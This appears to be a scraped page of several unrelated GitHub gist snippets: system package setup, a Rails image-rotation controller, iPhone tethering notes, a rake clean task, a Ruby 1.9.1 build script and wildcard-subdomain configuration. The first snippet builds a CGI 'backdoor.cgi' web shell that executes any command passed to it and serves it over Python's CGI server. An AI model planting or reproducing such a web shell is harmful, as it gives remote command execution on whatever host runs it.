This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| cd /tmp | |
| mkdir cgi-bin | |
| echo '#!/bin/bash' > ./cgi-bin/backdoor.cgi | |
| echo 'echo -e "Content-Type: text/plain\n\n"' >> ./cgi-bin/backdoor.cgi | |
| echo 'echo -e $($1)' >> ./cgi-bin/backdoor.cgi | |
| chmod +x ./cgi-bin/backdoor.cgi | |
| python -m http.server --cgi | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # update system | |
| sudo apt-get update && sudo apt-get upgrade | |
| # install prerequisites and misc utilities | |
| sudo apt-get install autoconf bison build-essential libssl-dev libyaml-dev libreadline6 libreadline6-dev zlib1g zlib1g-dev sqlite3 libxslt-dev libxml2-dev libsqlite3-dev | |
| # misc utilities | |
| sudo apt-get install ssh tmux vim git-core curl wget zip unzip mcrypt imagemagick htop whois dnsutils | |
| # set up git config |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| class GalleryImagesController < ApplicationController | |
| def rotate | |
| @image = GalleryImage.find(params[:id]) | |
| rotation = params[:deg].to_f | |
| rotation ||= 90 # Optional, otherwise, check for nil! | |
| @image.rotate!(rotation) | |
| flash[:notice] = "The image has been rotated" | |
| end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| YES CHRIS, I WROTE THIS UP -- ERICA ([email protected]) | |
| p.s. Follow me on twitter: @ericasadun | |
| ------------- | |
| US AT&T Customers: I don't have specific details on adding tethering to your account but just give AT&T a call. They'll help with the billing. | |
| Note: UK People start here: http://twitter.com/timmeh/status/1351833678 | |
| Note: US People look here: http://tinyurl.com/cstrqx (New version by Michael Johnston of iPhone Alley) | |
| Over Bluetooth: http://www.joachimbean.com/Computer_Inventory/News/Entries/2009/3/19_Tethering_on_iPhone_OS_3.0_over_AT&T.html |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| task :clean do | |
| important_cleans = `git clean -n -d`.split("\n") | |
| important_cleans.reject! { |file| | |
| file =~ /~$/ or | |
| file =~ /#/ or | |
| file =~ /.beam$/ | |
| } | |
| if important_cleans.size > 0 | |
| puts "Refusing to clean because:" | |
| puts important_cleans.join("\n") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/sh | |
| mkdir -p /usr/local/src && cd /usr/local/src | |
| curl -O ftp://ftp.ruby-lang.org/pub/ruby/1.9/ruby-1.9.1-p0.tar.bz2 | |
| tar -xjvf ruby-1.9.1-p0.tar.bz2 | |
| cd ruby-1.9.1-p0 | |
| ./configure --prefix=/usr --program-suffix=19 --enable-shared | |
| make | |
| sudo make install |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # 1) Point *.example.com in your DNS setup to your server. | |
| # | |
| # 2) Setup an Apache vhost to catch the star pointer: | |
| # | |
| # <VirtualHost *:80> | |
| # ServerName example.com | |
| # ServerAlias *.example.com | |
| # </VirtualHost> | |
| # | |
| # 3) Set the current account from the subdomain |